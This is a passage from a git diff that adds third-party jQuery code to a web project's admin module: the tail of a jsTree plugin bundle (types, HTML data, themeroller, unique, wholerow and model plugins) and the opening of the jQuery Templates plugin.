"-context"); } + } + } + }); +})(jQuery); +//*/ + +/* + * jsTree types plugin + * Adds support types of nodes + * You can set an attribute on each li node, that represents its type. + * According to the type setting the node may get custom icon/validation rules + */ +(function ($) { + $.jstree.plugin("types", { + __init : function () { + var s = this._get_settings().types; + this.data.types.attach_to = []; + this.get_container() + .bind("init.jstree", $.proxy(function () { + var types = s.types, + attr = s.type_attr, + icons_css = "", + _this = this; + + $.each(types, function (i, tp) { + $.each(tp, function (k, v) { + if(!/^(max_depth|max_children|icon|valid_children)$/.test(k)) { _this.data.types.attach_to.push(k); } + }); + if(!tp.icon) { return true; } + if( tp.icon.image || tp.icon.position) { + if(i == "default") { icons_css += '.jstree-' + _this.get_index() + ' a > .jstree-icon { '; } + else { icons_css += '.jstree-' + _this.get_index() + ' li[' + attr + '="' + i + '"] > a > .jstree-icon { '; } + if(tp.icon.image) { icons_css += ' background-image:url(' + tp.icon.image + '); '; } + if(tp.icon.position){ icons_css += ' background-position:' + tp.icon.position + '; '; } + else { icons_css += ' background-position:0 0; '; } + icons_css += '} '; + } + }); + if(icons_css !== "") { $.vakata.css.add_sheet({ 'str' : icons_css, title : "jstree-types" }); } + }, this)) + .bind("before.jstree", $.proxy(function (e, data) { + var s, t, + o = this._get_settings().types.use_data ? this._get_node(data.args[0]) : false, + d = o && o !== -1 && o.length ? o.data("jstree") : false; + if(d && d.types && d.types[data.func] === false) { e.stopImmediatePropagation(); return false; } + if($.inArray(data.func, this.data.types.attach_to) !== -1) { + if(!data.args[0] || (!data.args[0].tagName && !data.args[0].jquery)) { return; } + s = this._get_settings().types.types; + t = this._get_type(data.args[0]); + if( + ( + (s[t] && typeof s[t][data.func] !== "undefined") || + (s["default"] && typeof s["default"][data.func] !== "undefined") + ) && this._check(data.func, data.args[0]) === false + ) { + e.stopImmediatePropagation(); + return false; + } + } + }, this)); + if(is_ie6) { + this.get_container() + .bind("load_node.jstree set_type.jstree", $.proxy(function (e, data) { + var r = data && data.rslt && data.rslt.obj && data.rslt.obj !== -1 ? this._get_node(data.rslt.obj).parent() : this.get_container_ul(), + c = false, + s = this._get_settings().types; + $.each(s.types, function (i, tp) { + if(tp.icon && (tp.icon.image || tp.icon.position)) { + c = i === "default" ? r.find("li > a > .jstree-icon") : r.find("li[" + s.type_attr + "='" + i + "'] > a > .jstree-icon"); + if(tp.icon.image) { c.css("backgroundImage","url(" + tp.icon.image + ")"); } + c.css("backgroundPosition", tp.icon.position || "0 0"); + } + }); + }, this)); + } + }, + defaults : { + // defines maximum number of root nodes (-1 means unlimited, -2 means disable max_children checking) + max_children : -1, + // defines the maximum depth of the tree (-1 means unlimited, -2 means disable max_depth checking) + max_depth : -1, + // defines valid node types for the root nodes + valid_children : "all", + + // whether to use $.data + use_data : false, + // where is the type stores (the rel attribute of the LI element) + type_attr : "rel", + // a list of types + types : { + // the default type + "default" : { + "max_children" : -1, + "max_depth" : -1, + "valid_children": "all" + + // Bound functions - you can bind any other function here (using boolean or function) + //"select_node" : true + } + } + }, + _fn : { + _types_notify : function (n, data) { + if(data.type && this._get_settings().types.use_data) { + this.set_type(data.type, n); + } + }, + _get_type : function (obj) { + obj = this._get_node(obj); + return (!obj || !obj.length) ? false : obj.attr(this._get_settings().types.type_attr) || "default"; + }, + set_type : function (str, obj) { + obj = this._get_node(obj); + var ret = (!obj.length || !str) ? false : obj.attr(this._get_settings().types.type_attr, str); + if(ret) { this.__callback({ obj : obj, type : str}); } + return ret; + }, + _check : function (rule, obj, opts) { + obj = this._get_node(obj); + var v = false, t = this._get_type(obj), d = 0, _this = this, s = this._get_settings().types, data = false; + if(obj === -1) { + if(!!s[rule]) { v = s[rule]; } + else { return; } + } + else { + if(t === false) { return; } + data = s.use_data ? obj.data("jstree") : false; + if(data && data.types && typeof data.types[rule] !== "undefined") { v = data.types[rule]; } + else if(!!s.types[t] && typeof s.types[t][rule] !== "undefined") { v = s.types[t][rule]; } + else if(!!s.types["default"] && typeof s.types["default"][rule] !== "undefined") { v = s.types["default"][rule]; } + } + if($.isFunction(v)) { v = v.call(this, obj); } + if(rule === "max_depth" && obj !== -1 && opts !== false && s.max_depth !== -2 && v !== 0) { + // also include the node itself - otherwise if root node it is not checked + obj.children("a:eq(0)").parentsUntil(".jstree","li").each(function (i) { + // check if current depth already exceeds global tree depth + if(s.max_depth !== -1 && s.max_depth - (i + 1) <= 0) { v = 0; return false; } + d = (i === 0) ? v : _this._check(rule, this, false); + // check if current node max depth is already matched or exceeded + if(d !== -1 && d - (i + 1) <= 0) { v = 0; return false; } + // otherwise - set the max depth to the current value minus current depth + if(d >= 0 && (d - (i + 1) < v || v < 0) ) { v = d - (i + 1); } + // if the global tree depth exists and it minus the nodes calculated so far is less than `v` or `v` is unlimited + if(s.max_depth >= 0 && (s.max_depth - (i + 1) < v || v < 0) ) { v = s.max_depth - (i + 1); } + }); + } + return v; + }, + check_move : function () { + if(!this.__call_old()) { return false; } + var m = this._get_move(), + s = m.rt._get_settings().types, + mc = m.rt._check("max_children", m.cr), + md = m.rt._check("max_depth", m.cr), + vc = m.rt._check("valid_children", m.cr), + ch = 0, d = 1, t; + + if(vc === "none") { return false; } + if($.isArray(vc) && m.ot && m.ot._get_type) { + m.o.each(function () { + if($.inArray(m.ot._get_type(this), vc) === -1) { d = false; return false; } + }); + if(d === false) { return false; } + } + if(s.max_children !== -2 && mc !== -1) { + ch = m.cr === -1 ? this.get_container().find("> ul > li").not(m.o).length : m.cr.find("> ul > li").not(m.o).length; + if(ch + m.o.length > mc) { return false; } + } + if(s.max_depth !== -2 && md !== -1) { + d = 0; + if(md === 0) { return false; } + if(typeof m.o.d === "undefined") { + // TODO: deal with progressive rendering and async when checking max_depth (how to know the depth of the moved node) + t = m.o; + while(t.length > 0) { + t = t.find("> ul > li"); + d ++; + } + m.o.d = d; + } + if(md - m.o.d < 0) { return false; } + } + return true; + }, + create_node : function (obj, position, js, callback, is_loaded, skip_check) { + if(!skip_check && (is_loaded || this._is_loaded(obj))) { + var p = (typeof position == "string" && position.match(/^before|after$/i) && obj !== -1) ? this._get_parent(obj) : this._get_node(obj), + s = this._get_settings().types, + mc = this._check("max_children", p), + md = this._check("max_depth", p), + vc = this._check("valid_children", p), + ch; + if(typeof js === "string") { js = { data : js }; } + if(!js) { js = {}; } + if(vc === "none") { return false; } + if($.isArray(vc)) { + if(!js.attr || !js.attr[s.type_attr]) { + if(!js.attr) { js.attr = {}; } + js.attr[s.type_attr] = vc[0]; + } + else { + if($.inArray(js.attr[s.type_attr], vc) === -1) { return false; } + } + } + if(s.max_children !== -2 && mc !== -1) { + ch = p === -1 ? this.get_container().find("> ul > li").length : p.find("> ul > li").length; + if(ch + 1 > mc) { return false; } + } + if(s.max_depth !== -2 && md !== -1 && (md - 1) < 0) { return false; } + } + return this.__call_old(true, obj, position, js, callback, is_loaded, skip_check); + } + } + }); +})(jQuery); +//*/ + +/* + * jsTree HTML plugin + * The HTML data store. Datastores are build by replacing the `load_node` and `_is_loaded` functions. + */ +(function ($) { + $.jstree.plugin("html_data", { + __init : function () { + // this used to use html() and clean the whitespace, but this way any attached data was lost + this.data.html_data.original_container_html = this.get_container().find(" > ul > li").clone(true); + // remove white space from LI node - otherwise nodes appear a bit to the right + this.data.html_data.original_container_html.find("li").andSelf().contents().filter(function() { return this.nodeType == 3; }).remove(); + }, + defaults : { + data : false, + ajax : false, + correct_state : true + }, + _fn : { + load_node : function (obj, s_call, e_call) { var _this = this; this.load_node_html(obj, function () { _this.__callback({ "obj" : _this._get_node(obj) }); s_call.call(this); }, e_call); }, + _is_loaded : function (obj) { + obj = this._get_node(obj); + return obj == -1 || !obj || (!this._get_settings().html_data.ajax && !$.isFunction(this._get_settings().html_data.data)) || obj.is(".jstree-open, .jstree-leaf") || obj.children("ul").children("li").size() > 0; + }, + load_node_html : function (obj, s_call, e_call) { + var d, + s = this.get_settings().html_data, + error_func = function () {}, + success_func = function () {}; + obj = this._get_node(obj); + if(obj && obj !== -1) { + if(obj.data("jstree-is-loading")) { return; } + else { obj.data("jstree-is-loading",true); } + } + switch(!0) { + case ($.isFunction(s.data)): + s.data.call(this, obj, $.proxy(function (d) { + if(d && d !== "" && d.toString && d.toString().replace(/^[\s\n]+$/,"") !== "") { + d = $(d); + if(!d.is("ul")) { d = $("
                          ").append(d); } + if(obj == -1 || !obj) { this.get_container().children("ul").empty().append(d.children()).find("li, a").filter(function () { return !this.firstChild || !this.firstChild.tagName || this.firstChild.tagName !== "INS"; }).prepend(" ").end().filter("a").children("ins:first-child").not(".jstree-icon").addClass("jstree-icon"); } + else { obj.children("a.jstree-loading").removeClass("jstree-loading"); obj.append(d).children("ul").find("li, a").filter(function () { return !this.firstChild || !this.firstChild.tagName || this.firstChild.tagName !== "INS"; }).prepend(" ").end().filter("a").children("ins:first-child").not(".jstree-icon").addClass("jstree-icon"); obj.removeData("jstree-is-loading"); } + this.clean_node(obj); + if(s_call) { s_call.call(this); } + } + else { + if(obj && obj !== -1) { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(s.correct_state) { + this.correct_state(obj); + if(s_call) { s_call.call(this); } + } + } + else { + if(s.correct_state) { + this.get_container().children("ul").empty(); + if(s_call) { s_call.call(this); } + } + } + } + }, this)); + break; + case (!s.data && !s.ajax): + if(!obj || obj == -1) { + this.get_container() + .children("ul").empty() + .append(this.data.html_data.original_container_html) + .find("li, a").filter(function () { return !this.firstChild || !this.firstChild.tagName || this.firstChild.tagName !== "INS"; }).prepend(" ").end() + .filter("a").children("ins:first-child").not(".jstree-icon").addClass("jstree-icon"); + this.clean_node(); + } + if(s_call) { s_call.call(this); } + break; + case (!!s.data && !s.ajax) || (!!s.data && !!s.ajax && (!obj || obj === -1)): + if(!obj || obj == -1) { + d = $(s.data); + if(!d.is("ul")) { d = $("
                            ").append(d); } + this.get_container() + .children("ul").empty().append(d.children()) + .find("li, a").filter(function () { return !this.firstChild || !this.firstChild.tagName || this.firstChild.tagName !== "INS"; }).prepend(" ").end() + .filter("a").children("ins:first-child").not(".jstree-icon").addClass("jstree-icon"); + this.clean_node(); + } + if(s_call) { s_call.call(this); } + break; + case (!s.data && !!s.ajax) || (!!s.data && !!s.ajax && obj && obj !== -1): + obj = this._get_node(obj); + error_func = function (x, t, e) { + var ef = this.get_settings().html_data.ajax.error; + if(ef) { ef.call(this, x, t, e); } + if(obj != -1 && obj.length) { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(t === "success" && s.correct_state) { this.correct_state(obj); } + } + else { + if(t === "success" && s.correct_state) { this.get_container().children("ul").empty(); } + } + if(e_call) { e_call.call(this); } + }; + success_func = function (d, t, x) { + var sf = this.get_settings().html_data.ajax.success; + if(sf) { d = sf.call(this,d,t,x) || d; } + if(d === "" || (d && d.toString && d.toString().replace(/^[\s\n]+$/,"") === "")) { + return error_func.call(this, x, t, ""); + } + if(d) { + d = $(d); + if(!d.is("ul")) { d = $("
                              ").append(d); } + if(obj == -1 || !obj) { this.get_container().children("ul").empty().append(d.children()).find("li, a").filter(function () { return !this.firstChild || !this.firstChild.tagName || this.firstChild.tagName !== "INS"; }).prepend(" ").end().filter("a").children("ins:first-child").not(".jstree-icon").addClass("jstree-icon"); } + else { obj.children("a.jstree-loading").removeClass("jstree-loading"); obj.append(d).children("ul").find("li, a").filter(function () { return !this.firstChild || !this.firstChild.tagName || this.firstChild.tagName !== "INS"; }).prepend(" ").end().filter("a").children("ins:first-child").not(".jstree-icon").addClass("jstree-icon"); obj.removeData("jstree-is-loading"); } + this.clean_node(obj); + if(s_call) { s_call.call(this); } + } + else { + if(obj && obj !== -1) { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(s.correct_state) { + this.correct_state(obj); + if(s_call) { s_call.call(this); } + } + } + else { + if(s.correct_state) { + this.get_container().children("ul").empty(); + if(s_call) { s_call.call(this); } + } + } + } + }; + s.ajax.context = this; + s.ajax.error = error_func; + s.ajax.success = success_func; + if(!s.ajax.dataType) { s.ajax.dataType = "html"; } + if($.isFunction(s.ajax.url)) { s.ajax.url = s.ajax.url.call(this, obj); } + if($.isFunction(s.ajax.data)) { s.ajax.data = s.ajax.data.call(this, obj); } + $.ajax(s.ajax); + break; + } + } + } + }); + // include the HTML data plugin by default + $.jstree.defaults.plugins.push("html_data"); +})(jQuery); +//*/ + +/* + * jsTree themeroller plugin + * Adds support for jQuery UI themes. Include this at the end of your plugins list, also make sure "themes" is not included. + */ +(function ($) { + $.jstree.plugin("themeroller", { + __init : function () { + var s = this._get_settings().themeroller; + this.get_container() + .addClass("ui-widget-content") + .addClass("jstree-themeroller") + .delegate("a","mouseenter.jstree", function (e) { + if(!$(e.currentTarget).hasClass("jstree-loading")) { + $(this).addClass(s.item_h); + } + }) + .delegate("a","mouseleave.jstree", function () { + $(this).removeClass(s.item_h); + }) + .bind("init.jstree", $.proxy(function (e, data) { + data.inst.get_container().find("> ul > li > .jstree-loading > ins").addClass("ui-icon-refresh"); + this._themeroller(data.inst.get_container().find("> ul > li")); + }, this)) + .bind("open_node.jstree create_node.jstree", $.proxy(function (e, data) { + this._themeroller(data.rslt.obj); + }, this)) + .bind("loaded.jstree refresh.jstree", $.proxy(function (e) { + this._themeroller(); + }, this)) + .bind("close_node.jstree", $.proxy(function (e, data) { + this._themeroller(data.rslt.obj); + }, this)) + .bind("delete_node.jstree", $.proxy(function (e, data) { + this._themeroller(data.rslt.parent); + }, this)) + .bind("correct_state.jstree", $.proxy(function (e, data) { + data.rslt.obj + .children("ins.jstree-icon").removeClass(s.opened + " " + s.closed + " ui-icon").end() + .find("> a > ins.ui-icon") + .filter(function() { + return this.className.toString() + .replace(s.item_clsd,"").replace(s.item_open,"").replace(s.item_leaf,"") + .indexOf("ui-icon-") === -1; + }).removeClass(s.item_open + " " + s.item_clsd).addClass(s.item_leaf || "jstree-no-icon"); + }, this)) + .bind("select_node.jstree", $.proxy(function (e, data) { + data.rslt.obj.children("a").addClass(s.item_a); + }, this)) + .bind("deselect_node.jstree deselect_all.jstree", $.proxy(function (e, data) { + this.get_container() + .find("a." + s.item_a).removeClass(s.item_a).end() + .find("a.jstree-clicked").addClass(s.item_a); + }, this)) + .bind("dehover_node.jstree", $.proxy(function (e, data) { + data.rslt.obj.children("a").removeClass(s.item_h); + }, this)) + .bind("hover_node.jstree", $.proxy(function (e, data) { + this.get_container() + .find("a." + s.item_h).not(data.rslt.obj).removeClass(s.item_h); + data.rslt.obj.children("a").addClass(s.item_h); + }, this)) + .bind("move_node.jstree", $.proxy(function (e, data) { + this._themeroller(data.rslt.o); + this._themeroller(data.rslt.op); + }, this)); + }, + __destroy : function () { + var s = this._get_settings().themeroller, + c = [ "ui-icon" ]; + $.each(s, function (i, v) { + v = v.split(" "); + if(v.length) { c = c.concat(v); } + }); + this.get_container() + .removeClass("ui-widget-content") + .find("." + c.join(", .")).removeClass(c.join(" ")); + }, + _fn : { + _themeroller : function (obj) { + var s = this._get_settings().themeroller; + obj = !obj || obj == -1 ? this.get_container_ul() : this._get_node(obj).parent(); + obj + .find("li.jstree-closed") + .children("ins.jstree-icon").removeClass(s.opened).addClass("ui-icon " + s.closed).end() + .children("a").addClass(s.item) + .children("ins.jstree-icon").addClass("ui-icon") + .filter(function() { + return this.className.toString() + .replace(s.item_clsd,"").replace(s.item_open,"").replace(s.item_leaf,"") + .indexOf("ui-icon-") === -1; + }).removeClass(s.item_leaf + " " + s.item_open).addClass(s.item_clsd || "jstree-no-icon") + .end() + .end() + .end() + .end() + .find("li.jstree-open") + .children("ins.jstree-icon").removeClass(s.closed).addClass("ui-icon " + s.opened).end() + .children("a").addClass(s.item) + .children("ins.jstree-icon").addClass("ui-icon") + .filter(function() { + return this.className.toString() + .replace(s.item_clsd,"").replace(s.item_open,"").replace(s.item_leaf,"") + .indexOf("ui-icon-") === -1; + }).removeClass(s.item_leaf + " " + s.item_clsd).addClass(s.item_open || "jstree-no-icon") + .end() + .end() + .end() + .end() + .find("li.jstree-leaf") + .children("ins.jstree-icon").removeClass(s.closed + " ui-icon " + s.opened).end() + .children("a").addClass(s.item) + .children("ins.jstree-icon").addClass("ui-icon") + .filter(function() { + return this.className.toString() + .replace(s.item_clsd,"").replace(s.item_open,"").replace(s.item_leaf,"") + .indexOf("ui-icon-") === -1; + }).removeClass(s.item_clsd + " " + s.item_open).addClass(s.item_leaf || "jstree-no-icon"); + } + }, + defaults : { + "opened" : "ui-icon-triangle-1-se", + "closed" : "ui-icon-triangle-1-e", + "item" : "ui-state-default", + "item_h" : "ui-state-hover", + "item_a" : "ui-state-active", + "item_open" : "ui-icon-folder-open", + "item_clsd" : "ui-icon-folder-collapsed", + "item_leaf" : "ui-icon-document" + } + }); + $(function() { + var css_string = '' + + '.jstree-themeroller .ui-icon { overflow:visible; } ' + + '.jstree-themeroller a { padding:0 2px; } ' + + '.jstree-themeroller .jstree-no-icon { display:none; }'; + $.vakata.css.add_sheet({ str : css_string, title : "jstree" }); + }); +})(jQuery); +//*/ + +/* + * jsTree unique plugin + * Forces different names amongst siblings (still a bit experimental) + * NOTE: does not check language versions (it will not be possible to have nodes with the same title, even in different languages) + */ +(function ($) { + $.jstree.plugin("unique", { + __init : function () { + this.get_container() + .bind("before.jstree", $.proxy(function (e, data) { + var nms = [], res = true, p, t; + if(data.func == "move_node") { + // obj, ref, position, is_copy, is_prepared, skip_check + if(data.args[4] === true) { + if(data.args[0].o && data.args[0].o.length) { + data.args[0].o.children("a").each(function () { nms.push($(this).text().replace(/^\s+/g,"")); }); + res = this._check_unique(nms, data.args[0].np.find("> ul > li").not(data.args[0].o), "move_node"); + } + } + } + if(data.func == "create_node") { + // obj, position, js, callback, is_loaded + if(data.args[4] || this._is_loaded(data.args[0])) { + p = this._get_node(data.args[0]); + if(data.args[1] && (data.args[1] === "before" || data.args[1] === "after")) { + p = this._get_parent(data.args[0]); + if(!p || p === -1) { p = this.get_container(); } + } + if(typeof data.args[2] === "string") { nms.push(data.args[2]); } + else if(!data.args[2] || !data.args[2].data) { nms.push(this._get_string("new_node")); } + else { nms.push(data.args[2].data); } + res = this._check_unique(nms, p.find("> ul > li"), "create_node"); + } + } + if(data.func == "rename_node") { + // obj, val + nms.push(data.args[1]); + t = this._get_node(data.args[0]); + p = this._get_parent(t); + if(!p || p === -1) { p = this.get_container(); } + res = this._check_unique(nms, p.find("> ul > li").not(t), "rename_node"); + } + if(!res) { + e.stopPropagation(); + return false; + } + }, this)); + }, + defaults : { + error_callback : $.noop + }, + _fn : { + _check_unique : function (nms, p, func) { + var cnms = []; + p.children("a").each(function () { cnms.push($(this).text().replace(/^\s+/g,"")); }); + if(!cnms.length || !nms.length) { return true; } + cnms = cnms.sort().join(",,").replace(/(,|^)([^,]+)(,,\2)+(,|$)/g,"$1$2$4").replace(/,,+/g,",").replace(/,$/,"").split(","); + if((cnms.length + nms.length) != cnms.concat(nms).sort().join(",,").replace(/(,|^)([^,]+)(,,\2)+(,|$)/g,"$1$2$4").replace(/,,+/g,",").replace(/,$/,"").split(",").length) { + this._get_settings().unique.error_callback.call(null, nms, p, func); + return false; + } + return true; + }, + check_move : function () { + if(!this.__call_old()) { return false; } + var p = this._get_move(), nms = []; + if(p.o && p.o.length) { + p.o.children("a").each(function () { nms.push($(this).text().replace(/^\s+/g,"")); }); + return this._check_unique(nms, p.np.find("> ul > li").not(p.o), "check_move"); + } + return true; + } + } + }); +})(jQuery); +//*/ + +/* + * jsTree wholerow plugin + * Makes select and hover work on the entire width of the node + * MAY BE HEAVY IN LARGE DOM + */ +(function ($) { + $.jstree.plugin("wholerow", { + __init : function () { + if(!this.data.ui) { throw "jsTree wholerow: jsTree UI plugin not included."; } + this.data.wholerow.html = false; + this.data.wholerow.to = false; + this.get_container() + .bind("init.jstree", $.proxy(function (e, data) { + this._get_settings().core.animation = 0; + }, this)) + .bind("open_node.jstree create_node.jstree clean_node.jstree loaded.jstree", $.proxy(function (e, data) { + this._prepare_wholerow_span( data && data.rslt && data.rslt.obj ? data.rslt.obj : -1 ); + }, this)) + .bind("search.jstree clear_search.jstree reopen.jstree after_open.jstree after_close.jstree create_node.jstree delete_node.jstree clean_node.jstree", $.proxy(function (e, data) { + if(this.data.to) { clearTimeout(this.data.to); } + this.data.to = setTimeout( (function (t, o) { return function() { t._prepare_wholerow_ul(o); }; })(this, data && data.rslt && data.rslt.obj ? data.rslt.obj : -1), 0); + }, this)) + .bind("deselect_all.jstree", $.proxy(function (e, data) { + this.get_container().find(" > .jstree-wholerow .jstree-clicked").removeClass("jstree-clicked " + (this.data.themeroller ? this._get_settings().themeroller.item_a : "" )); + }, this)) + .bind("select_node.jstree deselect_node.jstree ", $.proxy(function (e, data) { + data.rslt.obj.each(function () { + var ref = data.inst.get_container().find(" > .jstree-wholerow li:visible:eq(" + ( parseInt((($(this).offset().top - data.inst.get_container().offset().top + data.inst.get_container()[0].scrollTop) / data.inst.data.core.li_height),10)) + ")"); + // ref.children("a")[e.type === "select_node" ? "addClass" : "removeClass"]("jstree-clicked"); + ref.children("a").attr("class",data.rslt.obj.children("a").attr("class")); + }); + }, this)) + .bind("hover_node.jstree dehover_node.jstree", $.proxy(function (e, data) { + this.get_container().find(" > .jstree-wholerow .jstree-hovered").removeClass("jstree-hovered " + (this.data.themeroller ? this._get_settings().themeroller.item_h : "" )); + if(e.type === "hover_node") { + var ref = this.get_container().find(" > .jstree-wholerow li:visible:eq(" + ( parseInt(((data.rslt.obj.offset().top - this.get_container().offset().top + this.get_container()[0].scrollTop) / this.data.core.li_height),10)) + ")"); + // ref.children("a").addClass("jstree-hovered"); + ref.children("a").attr("class",data.rslt.obj.children(".jstree-hovered").attr("class")); + } + }, this)) + .delegate(".jstree-wholerow-span, ins.jstree-icon, li", "click.jstree", function (e) { + var n = $(e.currentTarget); + if(e.target.tagName === "A" || (e.target.tagName === "INS" && n.closest("li").is(".jstree-open, .jstree-closed"))) { return; } + n.closest("li").children("a:visible:eq(0)").click(); + e.stopImmediatePropagation(); + }) + .delegate("li", "mouseover.jstree", $.proxy(function (e) { + e.stopImmediatePropagation(); + if($(e.currentTarget).children(".jstree-hovered, .jstree-clicked").length) { return false; } + this.hover_node(e.currentTarget); + return false; + }, this)) + .delegate("li", "mouseleave.jstree", $.proxy(function (e) { + if($(e.currentTarget).children("a").hasClass("jstree-hovered").length) { return; } + this.dehover_node(e.currentTarget); + }, this)); + if(is_ie7 || is_ie6) { + $.vakata.css.add_sheet({ str : ".jstree-" + this.get_index() + " { position:relative; } ", title : "jstree" }); + } + }, + defaults : { + }, + __destroy : function () { + this.get_container().children(".jstree-wholerow").remove(); + this.get_container().find(".jstree-wholerow-span").remove(); + }, + _fn : { + _prepare_wholerow_span : function (obj) { + obj = !obj || obj == -1 ? this.get_container().find("> ul > li") : this._get_node(obj); + if(obj === false) { return; } // added for removing root nodes + obj.each(function () { + $(this).find("li").andSelf().each(function () { + var $t = $(this); + if($t.children(".jstree-wholerow-span").length) { return true; } + $t.prepend(" "); + }); + }); + }, + _prepare_wholerow_ul : function () { + var o = this.get_container().children("ul").eq(0), h = o.html(); + o.addClass("jstree-wholerow-real"); + if(this.data.wholerow.last_html !== h) { + this.data.wholerow.last_html = h; + this.get_container().children(".jstree-wholerow").remove(); + this.get_container().append( + o.clone().removeClass("jstree-wholerow-real") + .wrapAll("
                              ").parent() + .width(o.parent()[0].scrollWidth) + .css("top", (o.height() + ( is_ie7 ? 5 : 0)) * -1 ) + .find("li[id]").each(function () { this.removeAttribute("id"); }).end() + ); + } + } + } + }); + $(function() { + var css_string = '' + + '.jstree .jstree-wholerow-real { position:relative; z-index:1; } ' + + '.jstree .jstree-wholerow-real li { cursor:pointer; } ' + + '.jstree .jstree-wholerow-real a { border-left-color:transparent !important; border-right-color:transparent !important; } ' + + '.jstree .jstree-wholerow { position:relative; z-index:0; height:0; } ' + + '.jstree .jstree-wholerow ul, .jstree .jstree-wholerow li { width:100%; } ' + + '.jstree .jstree-wholerow, .jstree .jstree-wholerow ul, .jstree .jstree-wholerow li, .jstree .jstree-wholerow a { margin:0 !important; padding:0 !important; } ' + + '.jstree .jstree-wholerow, .jstree .jstree-wholerow ul, .jstree .jstree-wholerow li { background:transparent !important; }' + + '.jstree .jstree-wholerow ins, .jstree .jstree-wholerow span, .jstree .jstree-wholerow input { display:none !important; }' + + '.jstree .jstree-wholerow a, .jstree .jstree-wholerow a:hover { text-indent:-9999px; !important; width:100%; padding:0 !important; border-right-width:0px !important; border-left-width:0px !important; } ' + + '.jstree .jstree-wholerow-span { position:absolute; left:0; margin:0px; padding:0; height:18px; border-width:0; padding:0; z-index:0; }'; + if(is_ff2) { + css_string += '' + + '.jstree .jstree-wholerow a { display:block; height:18px; margin:0; padding:0; border:0; } ' + + '.jstree .jstree-wholerow-real a { border-color:transparent !important; } '; + } + if(is_ie7 || is_ie6) { + css_string += '' + + '.jstree .jstree-wholerow, .jstree .jstree-wholerow li, .jstree .jstree-wholerow ul, .jstree .jstree-wholerow a { margin:0; padding:0; line-height:18px; } ' + + '.jstree .jstree-wholerow a { display:block; height:18px; line-height:18px; overflow:hidden; } '; + } + $.vakata.css.add_sheet({ str : css_string, title : "jstree" }); + }); +})(jQuery); +//*/ + +/* +* jsTree model plugin +* This plugin gets jstree to use a class model to retrieve data, creating great dynamism +*/ +(function ($) { + var nodeInterface = ["getChildren","getChildrenCount","getAttr","getName","getProps"], + validateInterface = function(obj, inter) { + var valid = true; + obj = obj || {}; + inter = [].concat(inter); + $.each(inter, function (i, v) { + if(!$.isFunction(obj[v])) { valid = false; return false; } + }); + return valid; + }; + $.jstree.plugin("model", { + __init : function () { + if(!this.data.json_data) { throw "jsTree model: jsTree json_data plugin not included."; } + this._get_settings().json_data.data = function (n, b) { + var obj = (n == -1) ? this._get_settings().model.object : n.data("jstree_model"); + if(!validateInterface(obj, nodeInterface)) { return b.call(null, false); } + if(this._get_settings().model.async) { + obj.getChildren($.proxy(function (data) { + this.model_done(data, b); + }, this)); + } + else { + this.model_done(obj.getChildren(), b); + } + }; + }, + defaults : { + object : false, + id_prefix : false, + async : false + }, + _fn : { + model_done : function (data, callback) { + var ret = [], + s = this._get_settings(), + _this = this; + + if(!$.isArray(data)) { data = [data]; } + $.each(data, function (i, nd) { + var r = nd.getProps() || {}; + r.attr = nd.getAttr() || {}; + if(nd.getChildrenCount()) { r.state = "closed"; } + r.data = nd.getName(); + if(!$.isArray(r.data)) { r.data = [r.data]; } + if(_this.data.types && $.isFunction(nd.getType)) { + r.attr[s.types.type_attr] = nd.getType(); + } + if(r.attr.id && s.model.id_prefix) { r.attr.id = s.model.id_prefix + r.attr.id; } + if(!r.metadata) { r.metadata = { }; } + r.metadata.jstree_model = nd; + ret.push(r); + }); + callback.call(null, ret); + } + } + }); +})(jQuery); +//*/ + +})(); \ No newline at end of file diff --git a/modules/admin/tpl/js/jquery.tmpl.js b/modules/admin/tpl/js/jquery.tmpl.js new file mode 100644 index 000000000..799f95204 --- /dev/null +++ b/modules/admin/tpl/js/jquery.tmpl.js @@ -0,0 +1,484 @@ +/*! + * jQuery Templates Plugin 1.0.0pre + * http://github.com/jquery/jquery-tmpl + * Requires jQuery 1.4.2 + * + * Copyright 2011, Software Freedom Conservancy, Inc. + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + */ +(function( jQuery, undefined ){ + var oldManip = jQuery.fn.domManip, tmplItmAtt = "_tmplitem", htmlExpr = /^[^<]*(<[\w\W]+>)[^>]*$|\{\{\! /, + newTmplItems = {}, wrappedItems = {}, appendToTmplItems, topTmplItem = { key: 0, data: {} }, itemKey = 0, cloneIndex = 0, stack = []; + + function newTmplItem( options, parentItem, fn, data ) { + // Returns a template item data structure for a new rendered instance of a template (a 'template item'). + // The content field is a hierarchical array of strings and nested items (to be + // removed and replaced by nodes field of dom elements, once inserted in DOM). + var newItem = { + data: data || (data === 0 || data === false) ? data : (parentItem ? parentItem.data : {}), + _wrap: parentItem ? parentItem._wrap : null, + tmpl: null, + parent: parentItem || null, + nodes: [], + calls: tiCalls, + nest: tiNest, + wrap: tiWrap, + html: tiHtml, + update: tiUpdate + }; + if ( options ) { + jQuery.extend( newItem, options, { nodes: [], parent: parentItem }); + } + if ( fn ) { + // Build the hierarchical content to be used during insertion into DOM + newItem.tmpl = fn; + newItem._ctnt = newItem._ctnt || newItem.tmpl( jQuery, newItem ); + newItem.key = ++itemKey; + // Keep track of new template item, until it is stored as jQuery Data on DOM element + (stack.length ? wrappedItems : newTmplItems)[itemKey] = newItem; + } + return newItem; + } + + // Override appendTo etc., in order to provide support for targeting multiple elements. (This code would disappear if integrated in jquery core). + jQuery.each({ + appendTo: "append", + prependTo: "prepend", + insertBefore: "before", + insertAfter: "after", + replaceAll: "replaceWith" + }, function( name, original ) { + jQuery.fn[ name ] = function( selector ) { + var ret = [], insert = jQuery( selector ), elems, i, l, tmplItems, + parent = this.length === 1 && this[0].parentNode; + + appendToTmplItems = newTmplItems || {}; + if ( parent && parent.nodeType === 11 && parent.childNodes.length === 1 && insert.length === 1 ) { + insert[ original ]( this[0] ); + ret = this; + } else { + for ( i = 0, l = insert.length; i < l; i++ ) { + cloneIndex = i; + elems = (i > 0 ? this.clone(true) : this).get(); + jQuery( insert[i] )[ original ]( elems ); + ret = ret.concat( elems ); + } + cloneIndex = 0; + ret = this.pushStack( ret, name, insert.selector ); + } + tmplItems = appendToTmplItems; + appendToTmplItems = null; + jQuery.tmpl.complete( tmplItems ); + return ret; + }; + }); + + jQuery.fn.extend({ + // Use first wrapped element as template markup. + // Return wrapped set of template items, obtained by rendering template against data. + tmpl: function( data, options, parentItem ) { + return 